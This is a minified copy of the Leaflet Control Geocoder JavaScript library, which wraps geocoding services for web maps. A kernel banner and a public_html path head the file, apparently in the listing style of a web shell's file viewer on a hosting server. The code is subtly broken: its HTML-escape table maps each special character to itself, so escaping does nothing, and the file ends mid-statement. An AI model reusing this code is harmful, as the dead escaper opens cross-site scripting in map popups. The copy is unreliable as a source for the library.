Linux server.jmdstrack.com 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
/ home/ jmdstrac/ public_html/ devices/ public/ lib/ |
|
(()=>{var t={68:()=>{var t=function(t,e){function i(t){if(t&&t.__esModule)return t;var e=Object.create(null);if(t){Object.keys(t).forEach((function(i){if(i!=="default"){var n=Object.getOwnPropertyDescriptor(t,i);Object.defineProperty(e,i,n.get?n:{enumerable:true,get:function(){return t[i]}})}}))}e["default"]=t;return e}var n=i(e);function o(t,e){t.prototype=Object.create(e.prototype);t.prototype.constructor=t;t.__proto__=e}function s(t){if(t===void 0){throw new ReferenceError("this hasn't been initialised - super() hasn't been called")}return t}function r(t,e){return n.Util.extend(e,t.geocodingQueryParams)}function a(t,e){return n.Util.extend(e,t.reverseQueryParams)}var h=0;var l=/[&<>"'`]/g;var u=/[&<>"'`]/;var c={"&":"&","<":"<",">":">",'"':""","'":"'","`":"`"};function d(t){return c[t]}function f(t){if(t==null){return""}else if(!t){return t+""}t=""+t;if(!u.test(t)){return t}return t.replace(l,d)}function p(t,e,i,o,s){var r="_l_geocoder_"+h++;e[s||"callback"]=r;window[r]=n.Util.bind(i,o);var a=document.createElement("script");a.type="text/javascript";a.src=t+g(e);a.id=r;document.getElementsByTagName("head")[0].appendChild(a)}function _(t,e,i){var n=new XMLHttpRequest;n.onreadystatechange=function(){if(n.readyState!==4){return}var t;if(n.status!==200&&n.status!==304){t=""}else if(typeof n.response==="string"){try{t=JSON.parse(n.response)}catch(e){t=n.response}}else{t=n.response}i(t)};n.open("GET",t+g(e),true);n.responseType="json";n.setRequestHeader("Accept","application/json");n.send(null)}function m(t,e){return t.replace(/\{ *([\w_]+) *\}/g,(function(t,i){var n=e[i];if(n===undefined){n=""}else if(typeof n==="function"){n=n(e)}return f(n)}))}function g(t,e,i){var n=[];for(var o in t){var s=encodeURIComponent(i?o.toUpperCase():o);var r=t[o];if(!Array.isArray(r)){n.push(s+"="+encodeURIComponent(String(r)))}else{for(var a=0;a<r.length;a++){n.push(s+"="+encodeURIComponent(r[a]))}}}return(!e||e.indexOf("?")===-1?"?":"&")+n.join("&")}var v=function(){function t(t){this.options={serviceUrl:"https://geocode.arcgis.com/arcgis/rest/services/World/GeocodeServer",apiKey:""};n.Util.setOptions(this,t)}var e=t.prototype;e.geocode=function t(e,i,o){var s=r(this.options,{token:this.options.apiKey,SingleLine:e,outFields:"Addr_Type",forStorage:false,maxLocations:10,f:"json"});_(this.options.serviceUrl+"/findAddressCandidates",s,(function(t){var e=[];if(t.candidates&&t.candidates.length){for(var s=0;s<=t.candidates.length-1;s++){var r=t.candidates[s];var a=n.latLng(r.location.y,r.location.x);var h=n.latLngBounds(n.latLng(r.extent.ymax,r.extent.xmax),n.latLng(r.extent.ymin,r.extent.xmin));e[s]={name:r.address,bbox:h,center:a}}}i.call(o,e)}))};e.suggest=function t(e,i,n){return this.geocode(e,i,n)};e.reverse=function t(e,i,o,s){var r=a(this.options,{location:e.lng+","+e.lat,distance:100,f:"json"});_(this.options.serviceUrl+"/reverseGeocode",r,(function(t){var e=[];if(t&&!t.error){var i=n.latLng(t.location.y,t.location.x);var r=n.latLngBounds(i,i);e.push({name:t.address.Match_addr,center:i,bbox:r})}o.call(s,e)}))};return t}();function y(t){return new v(t)}var L=function(){function t(t){this.options={serviceUrl:"https://dev.virtualearth.net/REST/v1/Locations"};n.Util.setOptions(this,t)}var e=t.prototype;e.geocode=function t(e,i,o){var s=r(this.options,{query:e,key:this.options.apiKey});p(this.options.apiKey,s,(function(t){var e=[];if(t.resourceSets.length>0){for(var s=t.resourceSets[0].resources.length-1;s>=0;s--){var r=t.resourceSets[0].resources[s],a=r.bbox;e[s]={name:r.name,bbox:n.latLngBounds([a[0],a[1]],[a[2],a[3]]),center:n.latLng(r.point.coordinates)}}}i.call(o,e)}),this,"jsonp")};e.reverse=function t(e,i,o,s){var r=a(this.options,{key:this.options.apiKey});p(this.options.serviceUrl+e.lat+","+e.lng,r,(function(t){var e=[];for(var i=t.resourceSets[0].resources.length-1;i>=0;i--){var r=t.resourceSets[0].resources[i],a=r.bbox;e[i]={name:r.name,bbox:n.latLngBounds([a[0],a[1]],[a[2],a[3]]),center:n.latLng(r.point.coordinates)}}o.call(s,e)}),this,"jsonp")};return t}();function x(t){return new L(t)}var w=function(){function t(t){this.options={serviceUrl:"https://maps.googleapis.com/maps/api/geocode/json"};n.Util.setOptions(this,t)}var e=t.prototype;e.geocode=function t(e,i,o){var s=r(this.options,{key:this.options.apiKey,address:e});_(this.options.serviceUrl,s,(function(t){var e=[];if(t.results&&t.results.length){for(var s=0;s<=t.results.length-1;s++){var r=t.results[s];var a=n.latLng(r.geometry.location);var h=n.latLngBounds(n.latLng(r.geometry.viewport.northeast),n.latLng(r.geometry.viewport.southwest));e[s]={name:r.formatted_address,bbox:h,center:a,properties:r.address_components}}}i.call(o,e)}))};e.reverse=function t(e,i,o,s){var r=a(this.options,{key:this.options.apiKey,latlng:e.lat+","+e.lng});_(this.options.serviceUrl,r,(function(t){var e=[];if(t.results&&t.results.length){for(var i=0;i<=t.results.length-1;i++){var r=t.results[i];var a=n.latLng(r.geometry.location);var h=n.latLngBounds(n.latLng(r.geometry.viewport.northeast),n.latLng(r.geometry.viewport.southwest));e[i]={name:r.formatted_address,bbox:h,center:a,properties:r.address_components}}}o.call(s,e)}))};return t}();function b(t){return new w(t)}var P=function(){function t(t){this.options={serviceUrl:"https://geocoder.api.here.com/6.2/",app_id:"",app_code:"",apiKey:"",maxResults:5};n.Util.setOptions(this,t);if(t.apiKey)throw Error("apiKey is not supported, use app_id/app_code instead!")}var e=t.prototype;e.geocode=function t(e,i,n){var o=r(this.options,{searchtext:e,gen:9,app_id:this.options.app_id,app_code:this.options.app_code,jsonattributes:1,maxresults:this.options.maxResults});this.getJSON(this.options.serviceUrl+"geocode.json",o,i,n)};e.reverse=function t(e,i,n,o){var s=e.lat+","+e.lng;if(this.options.reverseGeocodeProxRadius){s+=","+this.options.reverseGeocodeProxRadius}var r=a(this.options,{prox:s,mode:"retrieveAddresses",app_id:this.options.app_id,app_code:this.options.app_code,gen:9,jsonattributes:1,maxresults:this.options.maxResults});this.getJSON(this.options.serviceUrl+"reversegeocode.json",r,n,o)};e.getJSON=function t(e,i,o,s){_(e,i,(function(t){var e=[];if(t.response.view&&t.response.view.length){for(var i=0;i<=t.response.view[0].result.length-1;i++){var r=t.response.view[0].result[i].location;var a=n.latLng(r.displayPosition.latitude,r.displayPosition.longitude);var h=n.latLngBounds(n.latLng(r.mapView.topLeft.latitude,r.mapView.topLeft.longitude),n.latLng(r.mapView.bottomRight.latitude,r.mapView.bottomRight.longitude));e[i]={name:r.address.label,properties:r.address,bbox:h,center:a}}}o.call(s,e)}))};return t}();var C=function(){function t(t){this.options={serviceUrl:"https://geocode.search.hereapi.com/v1",apiKey:"",app_id:"",app_code:"",maxResults:10};n.Util.setOptions(this,t)}var e=t.prototype;e.geocode=function t(e,i,n){var o=r(this.options,{q:e,apiKey:this.options.apiKey,limit:this.options.maxResults});if(!o.at&&!o["in"]){throw Error("at / in parameters not found. Please define coordinates (at=latitude,longitude) or other (in) in your geocodingQueryParams.")}this.getJSON(this.options.serviceUrl+"/discover",o,i,n)};e.reverse=function t(e,i,n,o){var s=a(this.options,{at:e.lat+","+e.lng,limit:this.options.reverseGeocodeProxRadius,apiKey:this.options.apiKey});this.getJSON(this.options.serviceUrl+"/revgeocode",s,n,o)};e.getJSON=function t(e,i,o,s){_(e,i,(function(t){var e=[];if(t.items&&t.items.length){for(var i=0;i<=t.items.length-1;i++){var r=t.items[i];var a=n.latLng(r.position.lat,r.position.lng);var h=void 0;if(r.mapView){h=n.latLngBounds(n.latLng(r.mapView.south,r.mapView.west),n.latLng(r.mapView.north,r.mapView.east))}else{h=n.latLngBounds(n.latLng(r.position.lat,r.position.lng),n.latLng(r.position.lat,r.position.lng))}e[i]={name:r.address.label,properties:r.address,bbox:h,center:a}}}o.call(s,e)}))};return t}();function M(t){if(t.apiKey){return new C(t)}else{return new P(t)}}function T(t){var e;if(e=t.match(/^([NS])\s*(\d{1,3}(?:\.\d*)?)\W*([EW])\s*(\d{1,3}(?:\.\d*)?)$/)){return n.latLng((/N/i.test(e[1])?1:-1)*+e[2],(/E/i.test(e[3])?1:-1)*+e[4])}else if(e=t.match(/^(\d{1,3}(?:\.\d*)?)\s*([NS])\W*(\d{1,3}(?:\.\d*)?)\s*([EW])$/)){return n.latLng((/N/i.test(e[2])?1:-1)*+e[1],(/E/i.test(e[4])?1:-1)*+e[3])}else if(e=t.match(/^([NS])\s*(\d{1,3})°?\s*(\d{1,3}(?:\.\d*)?)?['′]?\W*([EW])\s*(\d{1,3})°?\s*(\d{1,3}(?:\.\d*)?)?['′]?$/)){return n.latLng((/N/i.test(e[1])?1:-1)*(+e[2]+ +e[3]/60),(/E/i.test(e[4])?1:-1)*(+e[5]+ +e[6]/60))}else if(e=t.match(/^(\d{1,3})°?\s*(\d{1,3}(?:\.\d*)?)?['′]?\s*([NS])\W*(\d{1,3})°?\s*(\d{1,3}(?:\.\d*)?)?['′]?\s*([EW])$/)){return n.latLng((/N/i.test(e[3])?1:-1)*(+e[1]+ +e[2]/60),(/E/i.test(e[6])?1:-1)*(+e[4]+ +e[5]/60))}else if(e=t.match(/^([NS])\s*(\d{1,3})°?\s*(\d{1,2})['′]?\s*(\d{1,3}(?:\.\d*)?)?["″]?\W*([EW])\s*(\d{1,3})°?\s*(\d{1,2})['′]?\s*(\d{1,3}(?:\.\d*)?)?["″]?$/)){return n.latLng((/N/i.test(e[1])?1:-1)*(+e[2]+ +e[3]/60+ +e[4]/3600),(/E/i.test(e[5])?1:-1)*(+e[6]+ +e[7]/60+ +e[8]/3600))}else if(e=t.match(/^(\d{1,3})°?\s*(\d{1,2})['′]?\s*(\d{1,3}(?:\.\d*)?)?["″]\s*([NS])\W*(\d{1,3})°?\s*(\d{1,2})['′]?\s*(\d{1,3}(?:\.\d*)?)?["″]?\s*([EW])$/)){return n.latLng((/N/i.test(e[4])?1:-1)*(+e[1]+ +e[2]/60+ +e[3]/3600),(/E/i.test(e[8])?1:-1)*(+e[5]+ +e[6]/60+ +e[7]/3600))}else if(e=t.match(/^\s*([+-]?\d+(?:\.\d*)?)\s*[\s,]\s*([+-]?\d+(?:\.\d*)?)\s*$/)){return n.latLng(+e[1],+e[2])}}var k=function(){function t(t){this.options={next:undefined,sizeInMeters:1e4};n.Util.setOptions(this,t)}var e=t.prototype;e.geocode=function t(e,i,n){var o=T(e);if(o){var s=[{name:e,center:o,bbox:o.toBounds(this.options.sizeInMeters)}];i.call(n,s)}else if(this.options.next){this.options.next.geocode(e,i,n)}};return t}();function S(t){return new k(t)}var z=function(){function t(t){this.options={serviceUrl:"https://api.mapbox.com/geocoding/v5/mapbox.places/"};n.Util.setOptions(this,t)}var e=t.prototype;e._getProperties=function t(e){var i={text:e.text,address:e.address};for(var n=0;n<(e.context||[]).length;n++){var o=e.context[n].id.split(".")[0];i[o]=e.context[n].text;if(e.context[n].short_code){i["countryShortCode"]=e.context[n].short_code}}return i};e.geocode=function t(e,i,o){var s=this;var a=r(this.options,{access_token:this.options.apiKey});if(a.proximity!==undefined&&a.proximity.lat!==undefined&&a.proximity.lng!==undefined){a.proximity=a.proximity.lng+","+a.proximity.lat}_(this.options.serviceUrl+encodeURIComponent(e)+".json",a,(function(t){var e=[];if(t.features&&t.features.length){for(var r=0;r<=t.features.length-1;r++){var a=t.features[r];var h=n.latLng(a.center.reverse());var l=void 0;if(a.bbox){l=n.latLngBounds(n.latLng(a.bbox.slice(0,2).reverse()),n.latLng(a.bbox.slice(2,4).reverse()))}else{l=n.latLngBounds(h,h)}e[r]={name:a.place_name,bbox:l,center:h,properties:s._getProperties(a)}}}i.call(o,e)}))};e.suggest=function t(e,i,n){return this.geocode(e,i,n)};e.reverse=function t(e,i,o,s){var r=this;var h=this.options.serviceUrl+e.lng+","+e.lat+".json";var l=a(this.options,{access_token:this.options.apiKey});_(h,l,(function(t){var e=[];if(t.features&&t.features.length){for(var i=0;i<=t.features.length-1;i++){var a=t.features[i];var h=n.latLng(a.center.reverse());var l=void 0;if(a.bbox){l=n.latLngBounds(n.latLng(a.bbox.slice(0,2).reverse()),n.latLng(a.bbox.slice(2,4).reverse()))}else{l=n.latLngBounds(h,h)}e[i]={name:a.place_name,bbox:l,center:h,properties:r._getProperties(a)}}}o.call(s,e)}))};return t}();function E(t){return new z(t)}var Z=function(){function t(t){this.options={serviceUrl:"https://www.mapquestapi.com/geocoding/v1"};n.Util.setOptions(this,t);this.options.apiKey=decodeURIComponent(this.options.apiKey)}var e=t.prototype;e._formatName=function t(){return[].slice.call(arguments).filter((function(t){return!!t})).join(", ")};e.geocode=function t(e,i,o){var s=r(this.options,{key:this.options.apiKey,location:e,limit:5,outFormat:"json"});_(this.options.serviceUrl+"/address",s,n.Util.bind((function(t){var e=[];if(t.results&&t.results[0].locations){for(var s=t.results[0].locations.length-1;s>=0;s--){var r=t.results[0].locations[s];var a=n.latLng(r.latLng);e[s]={name:this._formatName(r.street,r.adminArea4,r.adminArea3,r.adminArea1),bbox:n.latLngBounds(a,a),center:a}}}i.call(o,e)}),this))};e.reverse=function t(e,i,o,s){var r=a(this.options,{key:this.options.apiKey,location:e.lat+","+e.lng,outputFormat:"json"});_(this.options.serviceUrl+"/reverse",r,n.Util.bind((function(t){var e=[];if(t.results&&t.results[0].locations){for(var i=t.results[0].locations.length-1;i>=0;i--){var r=t.results[0].locations[i];var a=n.latLng(r.latLng);e[i]={name:this._formatName(r.street,r.adminArea4,r.adminArea3,r.adminArea1),bbox:n.latLngBounds(a,a),center:a}}}o.call(s,e)}),this))};return t}();function B(t){return new Z(t)}var I=function(){function t(t){this.options={userId:undefined,apiKey:undefined,serviceUrl:"https://neutrinoapi.com/"};n.Util.setOptions(this,t)}var e=t.prototype;e.geocode=function t(e,i,o){var s=r(this.options,{apiKey:this.options.apiKey,userId:this.options.userId,address:e.split(/\s+/).join(".")});_(this.options.serviceUrl+"geocode-address",s,(function(t){var e=[];if(t.locations){t.geometry=t.locations[0];var s=n.latLng(t.geometry["latitude"],t.geometry["longitude"]);var r=n.latLngBounds(s,s);e[0]={name:t.geometry.address,bbox:r,center:s}}i.call(o,e)}))};e.suggest=function t(e,i,n){return this.geocode(e,i,n)};e.reverse=function t(e,i,o,s){var r=a(this.options,{apiKey:this.options.apiKey,userId:this.options.userId,latitude:e.lat,longitude:e.lng});_(this.options.serviceUrl+"geocode-reverse",r,(function(t){var i=[];if(t.status.status==200&&t.found){var r=n.latLng(e.lat,e.lng);var a=n.latLngBounds(r,r);i[0]={name:t.address,bbox:a,center:r}}o.call(s,i)}))};return t}();function A(t){return new I(t)}var O=function(){function t(t){this.options={serviceUrl:"https://nominatim.openstreetmap.org/",htmlTemplate:function t(e){var i=e.address;var n;var o=[];if(i.road||i.building){o.push("{building} {road} {house_number}")}if(i.city||i.town||i.village||i.hamlet){n=o.length>0?"leaflet-control-geocoder-address-detail":"";o.push('<span class="'+n+'">{postcode} {city} {town} {village} {hamlet}</span>')}if(i.state||i.country){n=o.length>0?"leaflet-control-geocoder-address-context":"";o.push('<span class="'+n+'">{state} {country}</span>')}return m(o.join("<br/>"),i)}};n.Util.setOptions(this,t||{})}var e=t.prototype;e.geocode=function t(e,i,o){var s=this;var a=r(this.options,{q:e,limit:5,format:"json",addressdetails:1});_(this.options.serviceUrl+"search",a,(function(t){var e=[];for(var r=t.length-1;r>=0;r--){var a=t[r].boundingbox;for(var h=0;h<4;h++){a[h]=+a[h]}e[r]={icon:t[r].icon,name:t[r].display_name,html:s.options.htmlTemplate?s.options.htmlTemplate(t[r]):undefined,bbox:n.latLngBounds([a[0],a[2]],[a[1],a[3]]),center:n.latLng(t[r].lat,t[r].lon),properties:t[r]}}i.call(o,e)}))};e.reverse=function t(e,i,o,s){var r=this;var h=a(this.options,{lat:e.lat,lon:e.lng,zoom:Math.round(Math.log(i/256)/Math.log(2)),addressdetails:1,format:"json"});_(this.options.serviceUrl+"reverse",h,(function(t){var e=[];if(t&&t.lat&&t.lon){var i=n.latLng(t.lat,t.lon);var a=n.latLngBounds(i,i);e.push({name:t.display_name,html:r.options.htmlTemplate?r.options.htmlTemplate(t):undefined,center:i,bbox:a,properties:t})}o.call(s,e)}))};return t}();function R(t){return new O(t)}var N=function(){function t(t){n.Util.setOptions(this,t)}var e=t.prototype;e.geocode=function t(e,i,o){try{var s=this.options.OpenLocationCode.decode(e);var r={name:e,center:n.latLng(s.latitudeCenter,s.longitudeCenter),bbox:n.latLngBounds(n.latLng(s.latitudeLo,s.longitudeLo),n.latLng(s.latitudeHi,s.longitudeHi))};i.call(o,[r])}catch(t){console.warn(t);i.call(o,[])}};e.reverse=function t(e,i,o,s){try{var r=this.options.OpenLocationCode.encode(e.lat,e.lng,this.options.codeLength);var a={name:r,center:n.latLng(e.lat,e.lng),bbox:n.latLngBounds(n.latLng(e.lat,e.lng),n.latLng(e.lat,e.lng))};o.call(s,[a])}catch(t){console.warn(t);o.call(s,[])}};return t}();function D(t){return new N(t)}var U=function(){function t(t){this.options={serviceUrl:"https://api.opencagedata.com/geocode/v1/json"};n.Util.setOptions(this,t)}var e=t.prototype;e.geocode=function t(e,i,o){var s=r(this.options,{key:this.options.apiKey,q:e});_(this.options.serviceUrl,s,(function(t){var e=[];if(t.results&&t.results.length){for(var s=0;s<t.results.length;s++){var r=t.results[s];var a=n.latLng(r.geometry);var h=void 0;if(r.annotations&&r.annotations.bounds){h=n.latLngBounds(n.latLng(r.annotations.bounds.northeast),n.latLng(r.annotations.bounds.southwest))}else{h=n.latLngBounds(a,a)}e.push({name:r.formatted,bbox:h,center:a})}}i.call(o,e)}))};e.suggest=function t(e,i,n){return this.geocode(e,i,n)};e.reverse=function t(e,i,o,s){var r=a(this.options,{key:this.options.apiKey,q:[e.lat,e.lng].join(",")});_(this.options.serviceUrl,r,(function(t){var e=[];if(t.results&&t.results.length){for(var i=0;i<t.results.length;i++){var r=t.results[i];var a=n.latLng(r.geometry);var h=void 0;if(r.annotations&&r.annotations.bounds){h=n.latLngBounds(n.latLng(r.annotations.bounds.northeast),n.latLng(r.annotations.bounds.southwest))}else{h=n.latLngBounds(a,a)}e.push({name:r.formatted,bbox:h,center:a})}}o.call(s,e)}))};return t}();function j(t){return new U(t)}var F=function(){function t(t){this.options={serviceUrl:"https://api.geocode.earth/v1"};this._lastSuggest=0;n.Util.setOptions(this,t)}var e=t.prototype;e.geocode=function t(e,i,n){var o=this;var s=r(this.options,{api_key:this.options.apiKey,text:e});_(this.options.serviceUrl+"/search",s,(function(t){i.call(n,o._parseResults(t,"bbox"))}))};e.suggest=function t(e,i,n){var o=this;var s=r(this.options,{api_key:this.options.apiKey,text:e});_(this.options.serviceUrl+"/autocomplete",s,(function(t){if(t.geocoding.timestamp>o._lastSuggest){o._lastSuggest=t.geocoding.timestamp;i.call(n,o._parseResults(t,"bbox"))}}))};e.reverse=function t(e,i,n,o){var s=this;var r=a(this.options,{api_key:this.options.apiKey,"point.lat":e.lat,"point.lon":e.lng});_(this.options.serviceUrl+"/reverse",r,(function(t){n.call(o,s._parseResults(t,"bounds"))}))};e._parseResults=function t(e,i){var o=[];n.geoJSON(e,{pointToLayer:function t(e,i){return n.circleMarker(i)},onEachFeature:function t(e,s){var r={};var a;var h;if(s.getBounds){a=s.getBounds();h=a.getCenter()}else if(s.feature.bbox){h=s.getLatLng();a=n.latLngBounds(n.GeoJSON.coordsToLatLng(s.feature.bbox.slice(0,2)),n.GeoJSON.coordsToLatLng(s.feature.bbox.slice(2,4)))}else{h=s.getLatLng();a=n.latLngBounds(h,h)}r.name=s.feature.properties.label;r.center=h;r[i]=a;r.properties=s.feature.properties;o.push(r)}});return o};return t}();function G(t){return new F(t)}var H=F;var W=G;var q=F;var V=G;var K=function(t){o(e,t);function e(e){return t.call(this,n.Util.extend({serviceUrl:"https://api.openrouteservice.org/geocode"},e))||this}return e}(F);function Y(t){return new K(t)}var J=function(){function t(t){this.options={serviceUrl:"https://photon.komoot.io/api/",reverseUrl:"https://photon.komoot.io/reverse/",nameProperties:["name","street","suburb","hamlet","town","city","state","country"]};n.Util.setOptions(this,t)}var e=t.prototype;e.geocode=function t(e,i,o){var s=r(this.options,{q:e});_(this.options.serviceUrl,s,n.Util.bind((function(t){i.call(o,this._decodeFeatures(t))}),this))};e.suggest=function t(e,i,n){return this.geocode(e,i,n)};e.reverse=function t(e,i,o,s){var r=a(this.options,{lat:e.lat,lon:e.lng});_(this.options.reverseUrl,r,n.Util.bind((function(t){o.call(s,this._decodeFeatures(t))}),this))};e._decodeFeatures=function t(e){var i=[];if(e&&e.features){for(var o=0;o<e.features.length;o++){var s=e.features[o];var r=s.geometry.coordinates;var a=n.latLng(r[1],r[0]);var h=s.properties.extent;var l=h?n.latLngBounds([h[1],h[0]],[h[3],h[2]]):n.latLngBounds(a,a);i.push({name:this._decodeFeatureName(s),html:this.options.htmlTemplate?this.options.htmlTemplate(s):undefined,center:a,bbox:l,properties:s.properties})}}return i};e._decodeFeatureName=function t(e){return(this.options.nameProperties||[]).map((function(t){return e.properties[t]})).filter((function(t){return!!t})).join(", ")};return t}();function X(t){return new J(t)}var Q=function(){function t(t){this.options={serviceUrl:"https://api.what3words.com/v2/"};n.Util.setOptions(this,t)}var e=t.prototype;e.geocode=function t(e,i,o){_(this.options.serviceUrl+"forward",r(this.options,{key:this.options.apiKey,addr:e.split(/\s+/).join(".")}),(function(t){var e=[];if(t.geometry){var s=n.latLng(t.geometry["lat"],t.geometry["lng"]);var r=n.latLngBounds(s,s);e[0]={name:t.words,bbox:r,center:s}}i.call(o,e)}))};e.suggest=function t(e,i,n){return this.geocode(e,i,n)};e.reverse=function t(e,i,o,s){_(this.options.serviceUrl+"reverse",a(this.options,{key:this.options.apiKey,coords:[e.lat,e.lng].join(",")}),(function(t){var e=[];if(t.status.status==200){var i=n.latLng(t.geometry["lat"],t.geometry["lng"]);var r=n.latLngBounds(i,i);e[0]={name:t.words,bbox:r,center:i}}o.call(s,e)}))};return t}();function $(t){return new Q(t)}var tt={__proto__:null,geocodingParams:r,reverseParams:a,ArcGis:v,arcgis:y,Bing:L,bing:x,Google:w,google:b,HERE:P,HEREv2:C,here:M,parseLatLng:T,LatLng:k,latLng:S,Mapbox:z,mapbox:E,MapQuest:Z,mapQuest:B,Neutrino:I,neutrino:A,Nominatim:O,nominatim:R,OpenLocationCode:N,openLocationCode:D,OpenCage:U,opencage:j,Pelias:F,pelias:G,GeocodeEarth:H,geocodeEarth:W,Mapzen:q,mapzen:V,Openrouteservice:K,openrouteservice:Y,Photon:J,photon:X,What3Words:Q,what3words:$};var et=function t(){};n.Util.extend(et.prototype,n.Control.prototype);n.Util.extend(et.prototype,n.Evented.prototype);var it=function(t){o(e,t);function e(e){var i;i=t.call(this,e)||this;i.options={showUniqueResult:true,showResultIcons:false,collapsed:true,expand:"touch",position:"topright",placeholder:"Search...",errorMessage:"Nothing found.",iconLabel:"Initiate a new search",query:"",queryMinLength:1,suggestMinLength:3,suggestTimeout:250,defaultMarkGeocode:true};i._requestCount=0;n.Util.setOptions(s(i),e);if(!i.options.geocoder){i.options.geocoder=new O}return i}var i=e.prototype;i.addThrobberClass=function t(){n.DomUtil.addClass(this._container,"leaflet-control-geocoder-throbber")};i.removeThrobberClass=function t(){n.DomUtil.removeClass(this._container,"leaflet-control-geocoder-throbber")};i.onAdd=function t(e){var i=this;var o="leaflet-control-geocoder";var s=n.DomUtil.create("div",o+" leaflet-bar");var r=n.DomUtil.create("button",o+"-icon",s);var a=this._form=n.DomUtil.create("div",o+"-form",s);this._map=e;this._container=s;r.innerHTML=" ";r.type="button";r.setAttribute("aria-label",this.options.iconLabel);var h=this._input=n.DomUtil.create("input","",a);h.type="text";h.value=this.options.query;h.placeholder=this.options.placeholder;n.DomEvent.disableClickPropagation(h);this._errorElement=n.DomUtil.create("div",o+"-form-no-error",s);this._errorElement.innerHTML=this.options.errorMessage;this._alts=n.DomUtil.create("ul",o+"-alternatives leaflet-control-geocoder-alternatives-minimized",s);n.DomEvent.disableClickPropagation(this._alts);n.DomEvent.addListener(h,"keydown",this._keydown,this);if(this.options.geocoder.suggest){n.DomEvent.addListener(h,"input",this._change,this)}n.DomEvent.addListener(h,"blur",(function(){if(i.options.collapsed&&!i._preventBlurCollapse){i._collapse()}i._preventBlurCollapse=false}));if(this.options.collapsed){if(this.options.expand==="click"){n.DomEvent.addListener(s,"click",(function(t){if(t.button===0&&t.detail!==2){i._toggle()}}))}else if(this.options.expand==="touch"){n.DomEvent.addListener(s,n.Browser.touch?"touchstart mousedown":"mousedown",(function(t){i._toggle();t.preventDefault();t.stopPropagation()}),this)}else{n.DomEvent.addListener(s,"mouseover",this._expand,this);n.DomEvent.addListener(s,"mouseout",this._collapse,this);this._map.on("movestart",this._collapse,this)}}else{this._expand();if(n.Browser.touch){n.DomEvent.addListener(s,"touchstart",(function(){return i._geocode()}))}else{n.DomEvent.addListener(s,"click",(function(){return i._geocode()}))}}if(this.options.defaultMarkGeocode){this.on("markgeocode",this.markGeocode,this)}this.on("startgeocode",this.addThrobberClass,this);this.on("finishgeocode",this.removeThrobberClass,this);this.on("startsuggest",this.addThrobberClass,this);this.on("finishsuggest",this.removeThrobberClass,this);n.DomEvent.disableClickPropagation(s);return s};i.setQuery=function t(e){this._input.value=e;return this};i._geocodeResult=function t(e,i){if(!i&&this.options.showUniqueResult&&e.length===1){this._geocodeResultSelected(e[0])}else if(e.length>0){this._alts.innerHTML="";this._results=e;n.DomUtil.removeClass(this._alts,"leaflet-control-geocoder-alternatives-minimized");n.DomUtil.addClass(this._container,"leaflet-control-geocoder-options-open");for(var o=0;o<e.length;o++){this._alts.appendChild(this._createAlt(e[o],o))}}else{n.DomUtil.addClass(this._container,"leaflet-control-geocoder-options-error");n.DomUtil.addClass(this._errorElement,"leaflet-control-geocoder-error")}};i.markGeocode=function t(e){var i=e.geocode;this._map.fitBounds(i.bbox);if(this._geocodeMarker){this._map.removeLayer(this._geocodeMarker)}this._geocodeMarker=new n.Marker(i.center).bindPopup(i.html||i.name).addTo(this._map).openPopup();return this};i._geocode=function t(e){var i=this;var n=this._input.value;if(!e&&n.length<this.options.queryMinLength){return}var o=++this._requestCount;var s=function t(s){if(o===i._requestCount){var r={input:n,results:s};i.fire(e?"finishsuggest":"finishgeocode",r);i._geocodeResult(s,e)}};this._lastGeocode=n;if(!e){this._clearResults()}var r={input:n};this.fire(e?"startsuggest":"startgeocode",r);if(e){this.options.geocoder.suggest(n,s)}else{this.options.geocoder.geocode(n,s)}};i._geocodeResultSelected=function t(e){var i={geocode:e};this.fire("markgeocode",i)};i._toggle=function t(){if(n.DomUtil.hasClass(this._container,"leaflet-control-geocoder-expanded")){this._collapse()}else{this._expand()}};i._expand=function t(){n.DomUtil.addClass(this._container,"leaflet-control-geocoder-expanded");this._input.select();this.fire("expand")};i._collapse=function t(){n.DomUtil.removeClass(this._container,"leaflet-control-geocoder-expanded");n.DomUtil.addClass(this._alts,"leaflet-control-geocoder-alternatives-minimized");n.DomUtil.removeClass(this._errorElement,"leaflet-control-geocoder-error");n.DomUtil.removeClass(this._container,"leaflet-control-geocoder-options-open");n.DomUtil.removeClass(this._container,"leaflet-control-geocoder-options-error");this._input.blur();this.fire("collapse")};i._clearResults=function t(){n.DomUtil.addClass(this._alts,"leaflet-control-geocoder-alternatives-minimized");this._selection=null;n.DomUtil.removeClass(this._errorElement,"leaflet-control-geocoder-error");n.DomUtil.removeClass(this._container,"leaflet-control-geocoder-options-open");n.DomUtil.removeClass(this._container,"leaflet-control-geocoder-options-error")};i._createAlt=function t(e,i){var o=this;var s=n.DomUtil.create("li",""),r=n.DomUtil.create("a","",s),a=this.options.showResultIcons&&e.icon?n.DomUtil.create("img","",r):null,h=e.html?undefined:document.createTextNode(e.name),l=function t(i){o._preventBlurCollapse=true;n.DomEvent.stop(i);o._geocodeResultSelected(e);n.DomEvent.on(s,"click touchend",(function(){if(o.options.collapsed){o._collapse()}else{o._clearResults()}}))};if(a){a.src=e.icon}s.setAttribute("data-result-index",String(i));if(e.html){r.innerHTML=r.innerHTML+e.html}else if(h){r.appendChild(h)}n.DomEvent.addListener(s,"mousedown touchstart",l,this);return s};i._keydown=function t(e){var i=this;var o=function t(e){if(i._selection){n.DomUtil.removeClass(i._selection,"leaflet-control-geocoder-selected");i._selection=i._selection[e>0?"nextSibling":"previousSibling"]}if(!i._selection){i._selection=i._alts[e>0?"firstChild":"lastChild"]}if(i._selection){n.DomUtil.addClass(i._selection,"leaflet-control-geocoder-selected")}};switch(e.keyCode){case 27:if(this.options.collapsed){this._collapse()}else{this._clearResults()}break;case 38:o(-1);break;case 40:o(1);break;case 13:if(this._selection){var s=parseInt(this._selection.getAttribute("data-result-index"),10);this._geocodeResultSelected(this._results[s]);this._clearResults()}else{this._geocode()}break;default:return}n.DomEvent.preventDefault(e)};i._change=function t(){var e=this;var i=this._input.value;if(i!==this._lastGeocode){clearTimeout(this._suggestTimeout);if(i.length>=this.options.suggestMinLength){this._suggestTimeout=setTimeout((function(){return e._geocode(true)}),this.options.suggestTimeout)}else{this._clearResults()}}};return e}(et);function nt(t){return new it(t)} /* @preserve * Leaflet Control Geocoder * https://github.com/perliedman/leaflet-control-geocoder * * Copyright (c) 2012 sa3m (https://github.com/sa3m) * Copyright (c) 2018 Per Liedman * All rights reserved. */n.Util.extend(it,tt);n.Util.extend(n.Control,{Geocoder:it,geocoder:nt});t.Geocoder=it;t.default=it;t.geocoder=nt;t.geocoders=tt;return 